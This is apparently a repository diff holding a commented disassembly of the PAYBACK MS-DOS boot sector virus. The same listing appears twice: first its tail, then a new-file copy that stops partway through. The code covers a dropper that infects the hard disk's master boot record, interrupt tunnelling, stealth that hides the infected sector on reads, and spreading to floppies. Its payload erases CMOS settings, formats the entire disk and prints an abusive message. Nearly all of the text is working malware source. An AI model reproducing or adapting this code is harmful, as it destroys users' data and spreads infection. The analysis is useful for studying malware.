; PUSH DI ;zero DI
|
||||
; RET ;exit and execute carrier program
|
||||
|
||||
RUN_CARRIER:
|
||||
MOV AX,04C00 ;select terminate-with-return-code
|
||||
INT 021 ;terminate PAYBACK.COM dropper
|
||||
|
||||
;*****************************************************************************
|
||||
;Routine to steal INT01 for tunnelling purposes and then restore it to its
|
||||
;original value. Tunnelling is new to me, so I hope that I got this right.
|
||||
|
||||
STEAL_INT01:
|
||||
MOV AX,03501 ;get INT01 (single-step) vector
|
||||
INT 021
|
||||
MOV DX,[OFFSET FIND_INT13] ;offset of virus INT01 handler
|
||||
MOV AH,025 ;steal INT01 vector
|
||||
INT 021
|
||||
PUSHF
|
||||
POP AX ;pop flags into AX
|
||||
OR AH,01 ;set trap flag
|
||||
PUSH AX
|
||||
POPF ;pop AX into flag register (from this
|
||||
;point on, every instruction execution
|
||||
;also executes the viral INT01
|
||||
;handler)
|
||||
XOR AX,AX ;zero AX
|
||||
CALL SYS_INT13 ;reset disks to allow INT01 tunnelling
|
||||
;to find BIOS INT13 handler address
|
||||
PUSHF
|
||||
POP AX ;pop flags into AX
|
||||
AND AH,0FE ;zero trap flag
|
||||
PUSH AX
|
||||
POPF ;pop AX into flag register
|
||||
MOV AX,02501 ;set-interrupt-vector function (INT01)
|
||||
MOV DX,BX ;load DX with orig. INT01 offset
|
||||
PUSH ES
|
||||
POP DS ;load DS with orig. INT01 segment
|
||||
INT 21 ;restore INT01 vector to orig. value
|
||||
PUSH CS
|
||||
PUSH CS
|
||||
POP DS ;set DS and ES to value of
|
||||
POP ES ;code segment
|
||||
RET
|
||||
|
||||
;*****************************************************************************
|
||||
;INT01 handler routine to accomplish tunnelling address aquisition for
|
||||
;original INT13 handler.
|
||||
|
||||
FIND_INT13:
|
||||
PUSH BP
|
||||
MOV BP,SP ;load BP with the stack offset
|
||||
PUSH AX
|
||||
MOV AX,[BP+04] ;load AX with the segment of the
|
||||
;calling routine
|
||||
CMP AX,0C800 ;is it in DOS segment?
|
||||
JNB TUNNEL ;if not, its time to tunnel
|
||||
|
||||
EXIT: POP AX ;restore registers
|
||||
POP BP
|
||||
IRET ;return from INT01 interrupt
|
||||
|
||||
TUNNEL:
|
||||
CMP AX,0F000 ;calling routine in ROM?
|
||||
JA EXIT ;if so, no need to tunnel, so exit
|
||||
CS: ;if not, store orig. INT13 segment
|
||||
MOV [OFFSET VECT_INT13+02],AX ;for use during MBR infection
|
||||
MOV AX,[BP+02] ;load AX with original INT13 offset
|
||||
CS:
|
||||
MOV [OFFSET VECT_INT13],AX ;store original INT13 handler offset
|
||||
AND WORD PTR [BP+06],0FEFF ;clear trap flag on stack prior to
|
||||
JMP EXIT ;return to prevent re-execution of
|
||||
;this INT01 handler
|
||||
|
||||
SYS_INT13:
|
||||
PUSHF ;preserve flags
|
||||
CS:
|
||||
CALL FAR D[OFFSET VECT_INT13] ;call INT13 handler via stored addr.
|
||||
RET
|
||||
|
||||
;*****************************************************************************
|
||||
;Start of boot sector virus code.
|
||||
|
||||
BOOT: CLI ;disable interrupts
|
||||
XOR AX,AX
|
||||
MOV DS,AX ;set data segment
|
||||
MOV SS,AX ;set stack segment
|
||||
MOV SP,0FFFE ;set stack pointer
|
||||
STI ;enable interrupts
|
||||
PUSH DS ;preserve DS
|
||||
DEC WORD PTR [0413] ;lower top of memory 1K
|
||||
INT 012 ;get base memory size
|
||||
MOV CL,0A ;set rotation count
|
||||
ROR AX,CL ;calculate upper memory segment
|
||||
LES BX,[004C] ;get BIOS INT13h handler offset & seg.
|
||||
MOV [07DB7],BX ;store orig. offset within virus
|
||||
MOV [07DB9],ES ;store orig. segment within virus
|
||||
MOV WORD PTR [004C],008D ;set INT13h offset vector to virus
|
||||
MOV [004E],AX ;set vector to installed virus seg.
|
||||
MOV ES,AX ;set ES to installed virus segment
|
||||
XOR DI,DI ;zero destination offset for move
|
||||
MOV SI,07C00 ;set source address for virus move
|
||||
PUSH SI ;set SI for orig. boot sector load
|
||||
MOV CX,02C8 ;set byte count for move (a count of
|
||||
;0200h would have been adequate)
|
||||
CLD ;clear direction flag (fwd)
|
||||
REPZ
|
||||
MOVSB ;move virus to upper memory
|
||||
PUSH ES ;set up stack for virus reentry seg.
|
||||
MOV AX,003F ;AX = offset for virus reentry point
|
||||
PUSH AX ;set up stack for virus reentry off.
|
||||
RETF ;return to self in new location (ES:AX)
|
||||
|
||||
NEW_LOCATION:
|
||||
MOV AX,0201 ;select read-one-sector function
|
||||
POP BX ;set disk I/O buffer to 7C00h
|
||||
MOV CX,0002 ;track 0, sector 2 (self modified by
|
||||
;virus to reflect true MBR location)
|
||||
MOV DX,0080 ;head 0, fixed disk "C" (once again,
|
||||
;self-modified by virus)
|
||||
AND DL,080 ;mask to load original MBR from drive
|
||||
;"C", even if not boot drive, or drive
|
||||
;"A" if boot is from floppy
|
||||
POP ES ;set ES = 0000h
|
||||
CALL BIOS_INT13 ;load original boot sector to 0:7C00
|
||||
PUSH CS
|
||||
POP DS ;set to current upper-mem. seg. value
|
||||
PUSH CS
|
||||
POP ES ;ditto
|
||||
MOV AX,0201 ;select read-one-sector function
|
||||
MOV BX,0200 ;set I/O buffer location
|
||||
MOV CX,0001 ;track 0, sector 1
|
||||
MOV DX,0080 ;head 0, fixed disk "C"
|
||||
CALL BIOS_INT13 ;load MBR
|
||||
CMP WORD PTR [0210],012CD ;check for infect tag
|
||||
JE BOOT_EXIT ;if infected, exit
|
||||
CMP WORD PTR [03FE],0AA55 ;valid boot record tag?
|
||||
JNE BOOT_EXIT ;if not, then exit
|
||||
MOV AX,0302 ;select write-two-sectors function
|
||||
XOR BX,BX ;set buffer offset to include virus
|
||||
INC CX ;track 0, sector 2 (relocated MBR)
|
||||
MOV [0044],CX ;store track/sector within viral code
|
||||
MOV [0047],DX ;store head/drive within viral code
|
||||
DEC CX ;track 0, sector 1
|
||||
CALL BIOS_INT13 ;write virus to MBR and original MBR
|
||||
;to sector 2.
|
||||
BOOT_EXIT:
|
||||
CALL CHECK_DATE ;check for activation date
|
||||
JMP 0000:07C00 ;wrong date, so jump to original MBR
|
||||
|
||||
;*****************************************************************************
|
||||
;INT13h handler routine.
|
||||
|
||||
STEALTH:
|
||||
CMP CX,+01 ;track 0, sector 1?
|
||||
JNE EXIT2BIOS ;if not, no need for stealth, so exit
|
||||
OR DH,DH ;head 0?
|
||||
JNE EXIT2BIOS ;ditto
|
||||
CMP AH,02 ;read request?
|
||||
JE ORIG_SECT ;if so, time for stealth...
|
||||
|
||||
EXIT2BIOS:
|
||||
CS:
|
||||
JMP FAR D[01B7] ;jump to BIOS via stored address
|
||||
|
||||
EXIT2CALL:
|
||||
RETF 0002 ;exit to calling routine
|
||||
|
||||
ORIG_SECT:
|
||||
CALL BIOS_INT13 ;read boot sector
|
||||
JB EXIT2CALL ;if flag=failure, exit to calling rtn.
|
||||
ES:
|
||||
CMP WORD PTR [BX+0010],012CD ;check for infection tag
|
||||
JNE INFECT_FLOPPY ;if not infected, then infect
|
||||
MOV AX,0201 ;select read-one-sector function
|
||||
PUSH CX ;preserve registers values
|
||||
PUSH DX ;for boot sector
|
||||
ES:
|
||||
MOV CX,[BX+0044] ;load track/sect. # of orig. boot rcd.
|
||||
ES:
|
||||
MOV DH,[BX+0048] ;load head # of original boot record
|
||||
CALL BIOS_INT13 ;load original boot record
|
||||
POP DX ;restore registers to values
|
||||
POP CX ;sent by calling routine
|
||||
JMP EXIT2CALL ;exit directly back to calling routine
|
||||
|
||||
;*****************************************************************************
|
||||
;Diskette infection routine. Very clever and code efficient (to me, anyway).
|
||||
|
||||
INFECT_FLOPPY:
|
||||
PUSHF ;push flags to hide I/O errors
|
||||
PUSH AX ;preserve registers
|
||||
PUSH BX
|
||||
PUSH CX
|
||||
PUSH DX
|
||||
PUSH DI
|
||||
PUSH ES
|
||||
PUSH CX ;save a few register values a
|
||||
PUSH DX ;second time to be used by
|
||||
PUSH BX ;the virus interrupt handler
|
||||
TEST DL,080 ;fixed drive I/O?
|
||||
JNZ EXIT_1 ;if so, then exit handler
|
||||
ES:
|
||||
CMP WORD PTR [BX+01FE],0AA55 ;boot sect. in buffer?
|
||||
JNE EXIT_1 ;if not, exit handler
|
||||
CALL CALC_TRACK ;if so, calc. reloc. track/sector #
|
||||
JB EXIT_1 ;if not standard format, exit
|
||||
CS:
|
||||
MOV [0044],CX ;store reloc. track/sect. within virus
|
||||
CS:
|
||||
MOV [0047],DX ;store reloc. head/drive within virus
|
||||
POP BX ;restore orig. buffer offset
|
||||
MOV AX,0301 ;select write-one-sector
|
||||
PUSH AX
|
||||
CALL BIOS_INT13 ;relocate boot sector
|
||||
POP AX ;restore some registers
|
||||
POP DX
|
||||
POP CX
|
||||
JB EXIT_2 ;if I/O flag = failure, exit
|
||||
XOR BX,BX ;set I/O buffer to virus start
|
||||
PUSH CS
|
||||
POP ES ;set ES=CS
|
||||
CALL BIOS_INT13 ;write virus to boot sector
|
||||
JMP EXIT_2 ;exit handler
|
||||
|
||||
EXIT_1:
|
||||
POP BX ;restore registers
|
||||
POP DX
|
||||
POP CX
|
||||
|
||||
EXIT_2:
|
||||
POP ES ;restore registers
|
||||
POP DI
|
||||
POP DX
|
||||
POP CX
|
||||
POP BX
|
||||
POP AX
|
||||
POPF ;pop flags to hide I/O errors
|
||||
JMP EXIT2BIOS ;jump to exit to BIOS
|
||||
|
||||
CALC_TRACK:
|
||||
MOV DI,DX ;load DI with head/drive #
|
||||
ES:
|
||||
MOV AX,[BX+013] ;load total # sectors on disk from BPB
|
||||
ES:
|
||||
MOV CX,[BX+018] ;load # of sectors per track from BPB
|
||||
OR AX,AX ;test AX for 00h
|
||||
JZ BPB_FAIL ;if zero, non-standard format, so exit
|
||||
JCXZ BPB_FAIL ;ditto for CX
|
||||
XOR DX,DX ;clear DX for remainder storage
|
||||
DIV CX ;divide AX by CX
|
||||
OR DX,DX ;test DX for 00h (no remainder)
|
||||
JNZ BPB_FAIL ;if <> 0, non-standard format, so exit
|
||||
ES:
|
||||
MOV BX,[BX+01A] ;load # of disk sides from BPB
|
||||
OR BX,BX ;test BX for 00h
|
||||
JZ BPB_FAIL ;if zero, non-standard format, so exit
|
||||
DIV BX ;divide AX by BX
|
||||
OR DX,DX ;test DX for 00h (no remaider)
|
||||
JNZ BPB_FAIL ;if <> 0, non-standard format, so exit
|
||||
DEC AL ;decr. AL to obtain # of last track
|
||||
MOV CH,AL ;set track # for boot sect. relocation
|
||||
DEC BL ;decr. BL to obtain # of last head
|
||||
MOV DX,DI ;restore head/drive information
|
||||
MOV DH,BL ;set head # to last head
|
||||
CLC ;clear carry flag to indicate success
|
||||
RET
|
||||
|
||||
BPB_FAIL:
|
||||
STC ;set carry flag to indicate failure
|
||||
RET
|
||||
|
||||
BIOS_INT13:
|
||||
PUSHF ;push flags
|
||||
CS:
|
||||
CALL FAR D[01B7] ;call BIOS INT13h handler via stored
|
||||
RET ;address
|
||||
|
||||
;****************************************************************************
|
||||
;Check date for activation (routine modified to prevent activation).
|
||||
|
||||
CHECK_DATE:
|
||||
MOV AH,04 ;request date function
|
||||
INT 01A ;request date
|
||||
CMP DX,02BAD ;check for trigger date
|
||||
JE ZAP_CMOS ;the route to unethical (and illegal)
|
||||
RET ;behavior
|
||||
|
||||
;****************************************************************************
|
||||
;Clear contents of CMOS system configuration memory.
|
||||
|
||||
ZAP_CMOS:
|
||||
MOV CX,00FF ;set CMOS count (03Ch would have been
|
||||
;adequate, according to my reference)
|
||||
ZCLP1: MOV DX,0070 ;set port #70h
|
||||
MOV AL,CL ;set configuration address
|
||||
OUT DX,AL ;select CMOS address
|
||||
JMP WHY ;don't understand the need for this
|
||||
WHY: INC DX ;set port #71h
|
||||
XOR AL,AL ;set data value to zero
|
||||
OUT DX,AL ;write data value to CMOS
|
||||
LOOP ZCLP1 ;do it until CMOS count = 0
|
||||
|
||||
;*****************************************************************************
|
||||
;Obtain format data from fixed disk "C" partition table.
|
||||
|
||||
MOV DI,[03C4] ;ending cyl/sector #'s from prtn. tbl.
|
||||
AND DI,-040 ;mask out ending sector number
|
||||
MOV CL,06 ;load CL with number of shifts
|
||||
SHR DI,CL ;shift to obtain ending cylinder #
|
||||
MOV AL,[03C3] ;ending head # from partition table
|
||||
XOR AH,AH ;zero AH
|
||||
XCHG BP,AX ;store ending head # in BP
|
||||
MOV BX,01F5 ;point to sector format info. table
|
||||
MOV DX,0080 ;select fixed disk "C"
|
||||
|
||||
;*****************************************************************************
|
||||
;Trash fixed disk "C" by formatting entire partition. If my interpretation of
|
||||
;this routine is correct, it formats each platter side before incrementing the
|
||||
;head count to format the next platter. The destructive "advantage" of this,
|
||||
;I believe, would be that the deletion of code segments from large numbers
|
||||
;of files would be accomplished very quickly, rendering executable or ZIPed
|
||||
;files as useless as if they were totally deleted, but in a much shorter time.
|
||||
|
||||
TRASH_HD:
|
||||
XOR CX,CX ;set cylinder # to zero
|
||||
|
||||
FORMAT_TRACK:
|
||||
MOV AX,0501 ;format-track function, interleave 1
|
||||
CALL BIOS_INT13 ;format track (cylinder)
|
||||
AND CL,0C0 ;mask for cylinder # bits 6-7
|
||||
ROL CL,01 ;shift to bits 6-7 of cylinder number
|
||||
ROL CL,01 ;into bottom two (0-1) bits of CL
|
||||
XCHG CL,CH ;put bottom two bits in CH to match
|
||||
;DI bit arrangement
|
||||
INC CX ;increment track count
|
||||
CMP CX,DI ;last cylinder (CX bit pattern match
|
||||
;DI bit pattern)?
|
||||
JA NEXT_HEAD ;if so, increment head number
|
||||
XCHG CL,CH ;put CL back to where it started
|
||||
ROR CL,01 ;shift to obtain
|
||||
ROR CL,01 ;original value
|
||||
JMP FORMAT_TRACK ;format next track
|
||||
|
||||
NEXT_HEAD:
|
||||
INC DH ;increment head number
|
||||
MOV AX,BP ;load AX with last head number
|
||||
CMP DH,AL ;last head?
|
||||
JBE TRASH_HD ;if not, do it again
|
||||
|
||||
;****************************************************************************
|
||||
;Display activation message.
|
||||
|
||||
MOV SI,OFFSET MESSAGE_TEXT ;load offset of message text
|
||||
DMLP1: CLD ;clear direction flag (fwd)
|
||||
LODSB ;load character of message
|
||||
OR AL,AL ;check for text end (0)
|
||||
JZ LOCK_IT_UP ;if end of message, lock up system
|
||||
MOV AH,0E ;select write-character function
|
||||
XOR BX,BX ;page 0, color 0
|
||||
INT 010 ;display character on screen
|
||||
JMP DMLP1 ;do it all again
|
||||
|
||||
LOCK_IT_UP:
|
||||
CLI ;disable interrupts
|
||||
HLT ;select 0.0 Mips mode
|
||||
|
||||
;*****************************************************************************
|
||||
;Storage area for BIOS INT13 vector used by virus.
|
||||
|
||||
DB ? ;Pad byte (A86 assembly only)
|
||||
DW ? ;BIOS INT13 offset storage location
|
||||
DW ? ;BIOS INT13 segment storage location
|
||||
|
||||
;*****************************************************************************
|
||||
;Text strings for activation message.
|
||||
|
||||
MESSAGE_TEXT:
|
||||
DB 0A,0D ;linefeed, carriage ret.
|
||||
DB "That was for ARCV, mother fucker!"
|
||||
DB 0A,0A,0D ;linefeed x 2, car. ret.
|
||||
DB "Payback! (c) 1993"
|
||||
DB 0A,0D ;linefeed, carriage ret.
|
||||
|
||||
;*****************************************************************************
|
||||
;End-of-boot sector pad bytes and valid boot sector tag bytes.
|
||||
|
||||
DB 10 DUP ? ;pad bytes
|
||||
DB 055,0AA ;valid boot sector tag
|
||||
|
||||
;****************************************************************************
|
||||
;Start of space reserved for disk I/O
|
||||
|
||||
MBR_BUFFER:
|
||||
|
||||
DB 512 DUP ? ;reserve one sectors worth of space
|
||||
|
||||
;****************************************************************************
|
||||
;Storage location for INT13 vector used by dropper routine.
|
||||
|
||||
VECT_INT13:
|
||||
|
||||
DD ? ;BIOS INT13 offset/segment storage
|
||||
|
||||
MAIN ENDS
|
||||
|
476
MSDOS/Virus.MSDOS.Unknown.payback.asm
Normal file
476
MSDOS/Virus.MSDOS.Unknown.payback.asm
Normal file
@ -0,0 +1,476 @@
|
||||
;*****************************************************************************
|
||||
;* *
|
||||
;* FILE: PAYBACK.A86 *
|
||||
;* PURPOSE: Dropper containing PAYBACK boot sector virus *
|
||||
;* DISASSEMBLY BY: Willoughby AUTHOR: Unknown clever coder *
|
||||
;* *
|
||||
;*****************************************************************************
|
||||
|
||||
MAIN SEGMENT BYTE
|
||||
ASSUME CS:MAIN,DS:MAIN,ES:MAIN
|
||||
|
||||
ORG 100h
|
||||
|
||||
;*****************************************************************************
|
||||
;Decryption routine to decrypt body of virus. Not used in this file as virus
|
||||
;has already been decrypted for analysis. Bit sequence of encryption/decryp-
|
||||
;tion key possibly chosen for its randomized bit sequence (just a guess).
|
||||
|
||||
;DECRYPT:
|
||||
; MOV CX,02A8 ;set length of encrypted code
|
||||
; MOV AX,0391D ;load decryption key (bit sequence
|
||||
; ;"0011100100011101")
|
||||
; MOV SI,OFFSET MBR_BUFFER ;point to end of encrypt. code
|
||||
;DECLP1: DEC CX ;decrement byte count
|
||||
; JS DROPPER ;if done, jump to dropper start
|
||||
; XOR [SI],AL ;decrypt a byte
|
||||
; XCHG AH,AL ;change key
|
||||
; ROR AX,CL ;really mix it up
|
||||
; DEC SI ;point to next byte to decrypt
|
||||
; JMP DECLP1 ;do it all again
|
||||
|
||||
;****************************************************************************
|
||||
;Dropper routine to place virus in MBR of fixed disk "C".
|
||||
|
||||
DROPPER:
|
||||
MOV AX,03513 ;get INT13 vector.
|
||||
INT 021
|
||||
MOV [OFFSET VECT_INT13],BX ;store offset of INT13 in virus
|
||||
MOV [OFFSET VECT_INT13+2],ES ;store segment of INT13 in virus
|
||||
CALL STEAL_INT01 ;jump to steal INT01 routine
|
||||
MOV AX,0201 ;select read-one-sector function
|
||||
MOV BX,OFFSET MBR_BUFFER ;set disk I/O buffer offset
|
||||
MOV CX,0001 ;cylinder 0, sector 1
|
||||
MOV DX,0080 ;head 0, fixed disk "C"
|
||||
CALL SYS_INT13 ;read boot sector of drive "C"
|
||||
JB RUN_CARRIER ;if flag = failure, execute carrier
|
||||
CMP WORD PTR [BX+010],012CD ;check for infection tag
|
||||
JE RUN_CARRIER ;if infected, execute carrier program
|
||||
XOR AX,AX
|
||||
MOV DS,AX ;point to data segment 0000h
|
||||
MOV AX,[046C] ;load lower two bytes of master clock
|
||||
PUSH CS
|
||||
POP DS ;restore data segment
|
||||
TEST AL,01 ;AL=01 in 1 out of 2 tries (clock LSB)
|
||||
JZ RUN_CARRIER ;if AL <> 01, do not infect system
|
||||
SUB BX,0200 ;set disk I/O buffer to point to virus
|
||||
MOV AX,0302 ;select write-two-sectors
|
||||
CALL SYS_INT13 ;write virus to MBR and original
|
||||
;boot sector to sector 2.
|
||||
|
||||
;****************************************************************************
|
||||
;Routine to restore original jump address to start of trojan file and to
|
||||
;execute trojan carrier program. We don't use it here since the virus is not
|
||||
;attached to anything (other than its own dropper). Instead, the replacement
|
||||
;RUN_CARRIER routine below it is executed to terminate the dropper.
|
||||
|
||||
;RUN_CARRIER:
|
||||
; MOV DI,0100 ;point to carrier prog. start
|
||||
; MOV WORD PTR [DI],030B4 ;restore original jump value
|
||||
; MOV BYTE PTR [DI+02],CD ;ditto
|
||||
; XOR AX,AX
|
||||
; PUSH DI ;zero DI
|
||||
; RET ;exit and execute carrier program
|
||||
|
||||
RUN_CARRIER:
|
||||
MOV AX,04C00 ;select terminate-with-return-code
|
||||
INT 021 ;terminate PAYBACK.COM dropper
|
||||
|
||||
;*****************************************************************************
|
||||
;Routine to steal INT01 for tunnelling purposes and then restore it to its
|
||||
;original value. Tunnelling is new to me, so I hope that I got this right.
|
||||
|
||||
STEAL_INT01:
|
||||
MOV AX,03501 ;get INT01 (single-step) vector
|
||||
INT 021
|
||||
MOV DX,[OFFSET FIND_INT13] ;offset of virus INT01 handler
|
||||
MOV AH,025 ;steal INT01 vector
|
||||
INT 021
|
||||
PUSHF
|
||||
POP AX ;pop flags into AX
|
||||
OR AH,01 ;set trap flag
|
||||
PUSH AX
|
||||
POPF ;pop AX into flag register (from this
|
||||
;point on, every instruction execution
|
||||
;also executes the viral INT01
|
||||
;handler)
|
||||
XOR AX,AX ;zero AX
|
||||
CALL SYS_INT13 ;reset disks to allow INT01 tunnelling
|
||||
;to find BIOS INT13 handler address
|
||||
PUSHF
|
||||
POP AX ;pop flags into AX
|
||||
AND AH,0FE ;zero trap flag
|
||||
PUSH AX
|
||||
POPF ;pop AX into flag register
|
||||
MOV AX,02501 ;set-interrupt-vector function (INT01)
|
||||
MOV DX,BX ;load DX with orig. INT01 offset
|
||||
PUSH ES
|
||||
POP DS ;load DS with orig. INT01 segment
|
||||
INT 21 ;restore INT01 vector to orig. value
|
||||
PUSH CS
|
||||
PUSH CS
|
||||
POP DS ;set DS and ES to value of
|
||||
POP ES ;code segment
|
||||
RET
|
||||
|
||||
;*****************************************************************************
|
||||
;INT01 handler routine to accomplish tunnelling address aquisition for
|
||||
;original INT13 handler.
|
||||
|
||||
FIND_INT13:
|
||||
PUSH BP
|
||||
MOV BP,SP ;load BP with the stack offset
|
||||
PUSH AX
|
||||
MOV AX,[BP+04] ;load AX with the segment of the
|
||||
;calling routine
|
||||
CMP AX,0C800 ;is it in DOS segment?
|
||||
JNB TUNNEL ;if not, its time to tunnel
|
||||
|
||||
EXIT: POP AX ;restore registers
|
||||
POP BP
|
||||
IRET ;return from INT01 interrupt
|
||||
|
||||
TUNNEL:
|
||||
CMP AX,0F000 ;calling routine in ROM?
|
||||
JA EXIT ;if so, no need to tunnel, so exit
|
||||
CS: ;if not, store orig. INT13 segment
|
||||
MOV [OFFSET VECT_INT13+02],AX ;for use during MBR infection
|
||||
MOV AX,[BP+02] ;load AX with original INT13 offset
|
||||
CS:
|
||||
MOV [OFFSET VECT_INT13],AX ;store original INT13 handler offset
|
||||
AND WORD PTR [BP+06],0FEFF ;clear trap flag on stack prior to
|
||||
JMP EXIT ;return to prevent re-execution of
|
||||
;this INT01 handler
|
||||
|
||||
SYS_INT13:
|
||||
PUSHF ;preserve flags
|
||||
CS:
|
||||
CALL FAR D[OFFSET VECT_INT13] ;call INT13 handler via stored addr.
|
||||
RET
|
||||
|
||||
;*****************************************************************************
|
||||
;Start of boot sector virus code.
|
||||
|
||||
BOOT: CLI ;disable interrupts
|
||||
XOR AX,AX
|
||||
MOV DS,AX ;set data segment
|
||||
MOV SS,AX ;set stack segment
|
||||
MOV SP,0FFFE ;set stack pointer
|
||||
STI ;enable interrupts
|
||||
PUSH DS ;preserve DS
|
||||
DEC WORD PTR [0413] ;lower top of memory 1K
|
||||
INT 012 ;get base memory size
|
||||
MOV CL,0A ;set rotation count
|
||||
ROR AX,CL ;calculate upper memory segment
|
||||
LES BX,[004C] ;get BIOS INT13h handler offset & seg.
|
||||
MOV [07DB7],BX ;store orig. offset within virus
|
||||
MOV [07DB9],ES ;store orig. segment within virus
|
||||
MOV WORD PTR [004C],008D ;set INT13h offset vector to virus
|
||||
MOV [004E],AX ;set vector to installed virus seg.
|
||||
MOV ES,AX ;set ES to installed virus segment
|
||||
XOR DI,DI ;zero destination offset for move
|
||||
MOV SI,07C00 ;set source address for virus move
|
||||
PUSH SI ;set SI for orig. boot sector load
|
||||
MOV CX,02C8 ;set byte count for move (a count of
|
||||
;0200h would have been adequate)
|
||||
CLD ;clear direction flag (fwd)
|
||||
REPZ
|
||||
MOVSB ;move virus to upper memory
|
||||
PUSH ES ;set up stack for virus reentry seg.
|
||||
MOV AX,003F ;AX = offset for virus reentry point
|
||||
PUSH AX ;set up stack for virus reentry off.
|
||||
RETF ;return to self in new location (ES:AX)
|
||||
|
||||
NEW_LOCATION:
|
||||
MOV AX,0201 ;select read-one-sector function
|
||||
POP BX ;set disk I/O buffer to 7C00h
|
||||
MOV CX,0002 ;track 0, sector 2 (self modified by
|
||||
;virus to reflect true MBR location)
|
||||
MOV DX,0080 ;head 0, fixed disk "C" (once again,
|
||||
;self-modified by virus)
|
||||
AND DL,080 ;mask to load original MBR from drive
|
||||
;"C", even if not boot drive, or drive
|
||||
;"A" if boot is from floppy
|
||||
POP ES ;set ES = 0000h
|
||||
CALL BIOS_INT13 ;load original boot sector to 0:7C00
|
||||
PUSH CS
|
||||
POP DS ;set to current upper-mem. seg. value
|
||||
PUSH CS
|
||||
POP ES ;ditto
|
||||
MOV AX,0201 ;select read-one-sector function
|
||||
MOV BX,0200 ;set I/O buffer location
|
||||
MOV CX,0001 ;track 0, sector 1
|
||||
MOV DX,0080 ;head 0, fixed disk "C"
|
||||
CALL BIOS_INT13 ;load MBR
|
||||
CMP WORD PTR [0210],012CD ;check for infect tag
|
||||
JE BOOT_EXIT ;if infected, exit
|
||||
CMP WORD PTR [03FE],0AA55 ;valid boot record tag?
|
||||
JNE BOOT_EXIT ;if not, then exit
|
||||
MOV AX,0302 ;select write-two-sectors function
|
||||
XOR BX,BX ;set buffer offset to include virus
|
||||
INC CX ;track 0, sector 2 (relocated MBR)
|
||||
MOV [0044],CX ;store track/sector within viral code
|
||||
MOV [0047],DX ;store head/drive within viral code
|
||||
DEC CX ;track 0, sector 1
|
||||
CALL BIOS_INT13 ;write virus to MBR and original MBR
|
||||
;to sector 2.
|
||||
BOOT_EXIT:
|
||||
CALL CHECK_DATE ;check for activation date
|
||||
JMP 0000:07C00 ;wrong date, so jump to original MBR
|
||||
|
||||
;*****************************************************************************
|
||||
;INT13h handler routine.
|
||||
|
||||
STEALTH:
|
||||
CMP CX,+01 ;track 0, sector 1?
|
||||
JNE EXIT2BIOS ;if not, no need for stealth, so exit
|
||||
OR DH,DH ;head 0?
|
||||
JNE EXIT2BIOS ;ditto
|
||||
CMP AH,02 ;read request?
|
||||
JE ORIG_SECT ;if so, time for stealth...
|
||||
|
||||
EXIT2BIOS:
|
||||
CS:
|
||||
JMP FAR D[01B7] ;jump to BIOS via stored address
|
||||
|
||||
EXIT2CALL:
|
||||
RETF 0002 ;exit to calling routine
|
||||
|
||||
ORIG_SECT:
|
||||
CALL BIOS_INT13 ;read boot sector
|
||||
JB EXIT2CALL ;if flag=failure, exit to calling rtn.
|
||||
ES:
|
||||
CMP WORD PTR [BX+0010],012CD ;check for infection tag
|
||||
JNE INFECT_FLOPPY ;if not infected, then infect
|
||||
MOV AX,0201 ;select read-one-sector function
|
||||
PUSH CX ;preserve registers values
|
||||
PUSH DX ;for boot sector
|
||||
ES:
|
||||
MOV CX,[BX+0044] ;load track/sect. # of orig. boot rcd.
|
||||
ES:
|
||||
MOV DH,[BX+0048] ;load head # of original boot record
|
||||
CALL BIOS_INT13 ;load original boot record
|
||||
POP DX ;restore registers to values
|
||||
POP CX ;sent by calling routine
|
||||
JMP EXIT2CALL ;exit directly back to calling routine
|
||||
|
||||
;*****************************************************************************
|
||||
;Diskette infection routine. Very clever and code efficient (to me, anyway).
|
||||
|
||||
INFECT_FLOPPY:
|
||||
PUSHF ;push flags to hide I/O errors
|
||||
PUSH AX ;preserve registers
|
||||
PUSH BX
|
||||
PUSH CX
|
||||
PUSH DX
|
||||
PUSH DI
|
||||
PUSH ES
|
||||
PUSH CX ;save a few register values a
|
||||
PUSH DX ;second time to be used by
|
||||
PUSH BX ;the virus interrupt handler
|
||||
TEST DL,080 ;fixed drive I/O?
|
||||
JNZ EXIT_1 ;if so, then exit handler
|
||||
ES:
|
||||
CMP WORD PTR [BX+01FE],0AA55 ;boot sect. in buffer?
|
||||
JNE EXIT_1 ;if not, exit handler
|
||||
CALL CALC_TRACK ;if so, calc. reloc. track/sector #
|
||||
JB EXIT_1 ;if not standard format, exit
|
||||
CS:
|
||||
MOV [0044],CX ;store reloc. track/sect. within virus
|
||||
CS:
|
||||
MOV [0047],DX ;store reloc. head/drive within virus
|
||||
POP BX ;restore orig. buffer offset
|
||||
MOV AX,0301 ;select write-one-sector
|
||||
PUSH AX
|
||||
CALL BIOS_INT13 ;relocate boot sector
|
||||
POP AX ;restore some registers
|
||||
POP DX
|
||||
POP CX
|
||||
JB EXIT_2 ;if I/O flag = failure, exit
|
||||
XOR BX,BX ;set I/O buffer to virus start
|
||||
PUSH CS
|
||||
POP ES ;set ES=CS
|
||||
CALL BIOS_INT13 ;write virus to boot sector
|
||||
JMP EXIT_2 ;exit handler
|
||||
|
||||
EXIT_1:
|
||||
POP BX ;restore registers
|
||||
POP DX
|
||||
POP CX
|
||||
|
||||
EXIT_2:
|
||||
POP ES ;restore registers
|
||||
POP DI
|
||||
POP DX
|
||||
POP CX
|
||||
POP BX
|
||||
POP AX
|
||||
POPF ;pop flags to hide I/O errors
|
||||
JMP EXIT2BIOS ;jump to exit to BIOS
|
||||
|
||||
CALC_TRACK:
|
||||
MOV DI,DX ;load DI with head/drive #
|
||||
ES:
|
||||
MOV AX,[BX+013] ;load total # sectors on disk from BPB
|
||||
ES:
|
||||
MOV CX,[BX+018] ;load # of sectors per track from BPB
|
||||
OR AX,AX ;test AX for 00h
|
||||
JZ BPB_FAIL ;if zero, non-standard format, so exit
|
||||
JCXZ BPB_FAIL ;ditto for CX
|
||||
XOR DX,DX ;clear DX for remainder storage
|
||||
DIV CX ;divide AX by CX
|
||||
OR DX,DX ;test DX for 00h (no remainder)
|
||||
JNZ BPB_FAIL ;if <> 0, non-standard format, so exit
|
||||
ES:
|
||||
MOV BX,[BX+01A] ;load # of disk sides from BPB
|
||||
OR BX,BX ;test BX for 00h
|
||||
JZ BPB_FAIL ;if zero, non-standard format, so exit
|
||||
DIV BX ;divide AX by BX
|
||||
OR DX,DX ;test DX for 00h (no remaider)
|
||||
JNZ BPB_FAIL ;if <> 0, non-standard format, so exit
|
||||
DEC AL ;decr. AL to obtain # of last track
|
||||
MOV CH,AL ;set track # for boot sect. relocation
|
||||
DEC BL ;decr. BL to obtain # of last head
|
||||
MOV DX,DI ;restore head/drive information
|
||||
